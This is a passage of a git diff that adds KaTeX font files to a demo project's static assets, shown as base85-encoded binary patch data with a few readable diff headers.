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 G2<`xUL{2yW literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_Caligraphic-Regular.ttf b/demo/static/dist/assets/KaTeX_Caligraphic-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..f522294ff0f3f8c52dfdaef7ebfaa06ebfcfaabf GIT binary patch literal 12344 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 